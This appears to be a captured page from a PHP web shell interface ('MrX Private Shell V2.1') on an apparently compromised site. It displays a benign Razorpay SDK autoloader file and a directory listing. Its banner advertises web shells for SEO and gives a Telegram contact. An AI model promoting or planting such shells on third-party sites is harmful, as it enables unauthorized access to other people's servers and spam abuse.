__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// Include Requests only if not already defined
if (class_exists('Requests') === false)
{
require_once __DIR__.'/libs/Requests-1.8.0/library/Requests.php';
}
try
{
Requests::register_autoloader();
if (version_compare(Requests::VERSION, '1.6.0') === -1)
{
throw new Exception('Requests class found but did not match');
}
}
catch (\Exception $e)
{
throw new Exception('Requests class found but did not match');
}
spl_autoload_register(function ($class)
{
// project-specific namespace prefix
$prefix = 'Razorpay\Api';
// base directory for the namespace prefix
$base_dir = __DIR__ . '/src/';
// does the class use the namespace prefix?
$len = strlen($prefix);
if (strncmp($prefix, $class, $len) !== 0)
{
// no, move to the next registered autoloader
return;
}
// get the relative class name
$relative_class = substr($class, $len);
//
// replace the namespace prefix with the base directory,
// replace namespace separators with directory separators
// in the relative class name, append with .php
//
$file = $base_dir . str_replace('\\', '/', $relative_class) . '.php';
// if the file exists, require it
if (file_exists($file))
{
require $file;
}
});| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .github | Folder | 0750 |
|
|
| documents | Folder | 0750 |
|
|
| non_composer_tests | Folder | 0750 |
|
|
| src | Folder | 0750 |
|
|
| tests | Folder | 0750 |
|
|
| .editorconfig | File | 253 B | 0640 |
|
| .travis.yml | File | 1.72 KB | 0640 |
|
| CHANGELOG.md | File | 6.9 KB | 0640 |
|
| LICENSE | File | 1.02 KB | 0640 |
|
| README.md | File | 3.45 KB | 0640 |
|
| Razorpay.php | File | 1.27 KB | 0640 |
|
| composer.json | File | 1.06 KB | 0640 |
|
| doc.md | File | 649 B | 0640 |
|
| phpunit.xml.dist | File | 1.22 KB | 0640 |
|
| release.txt | File | 80 B | 0640 |
|